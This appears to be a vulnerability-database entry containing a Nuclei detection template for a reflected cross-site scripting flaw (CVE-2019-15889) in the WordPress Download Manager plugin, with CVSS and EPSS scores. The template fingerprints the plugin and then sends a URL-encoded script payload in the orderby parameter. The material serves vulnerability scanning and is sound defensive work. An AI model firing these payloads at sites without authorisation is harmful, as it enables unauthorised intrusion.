4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.033 Low
EPSS
Percentile
91.3%
WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
id: CVE-2019-15889
info:
name: WordPress Download Manager <2.9.94 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress Download Manager plugin before 2.9.94 contains a cross-site scripting vulnerability via the category shortcode feature, as demonstrated by the orderby or search[publish_date] parameter.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: |
Update WordPress Download Manager plugin to version 2.9.94 or later to mitigate this vulnerability.
reference:
- https://www.cybersecurity-help.cz/vdb/SB2019041819
- https://wordpress.org/plugins/download-manager/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-15889
- http://packetstormsecurity.com/files/154356/WordPress-Download-Manager-2.9.93-Cross-Site-Scripting.html
- https://plugins.trac.wordpress.org/changeset/2070388/download-manager
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-15889
cwe-id: CWE-79
epss-score: 0.03259
epss-percentile: 0.91254
cpe: cpe:2.3:a:wpdownloadmanager:wordpress_download_manager:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: wpdownloadmanager
product: "wordpress_download_manager"
framework: wordpress
tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,wpdownloadmanager
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Download Manager'
- 'License:'
condition: and
- method: GET
path:
- '{{BaseURL}}/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(1)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100e90ac8ee5bc2cb7702a36eaba6b7f61ada92416dc6cde6dfcad4cab62dab86b7022100ba8673011e6db0f0d5b1541224ae16f66abc184fa5e3cfd4a74fc0913a45e6f7:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.033 Low
EPSS
Percentile
91.3%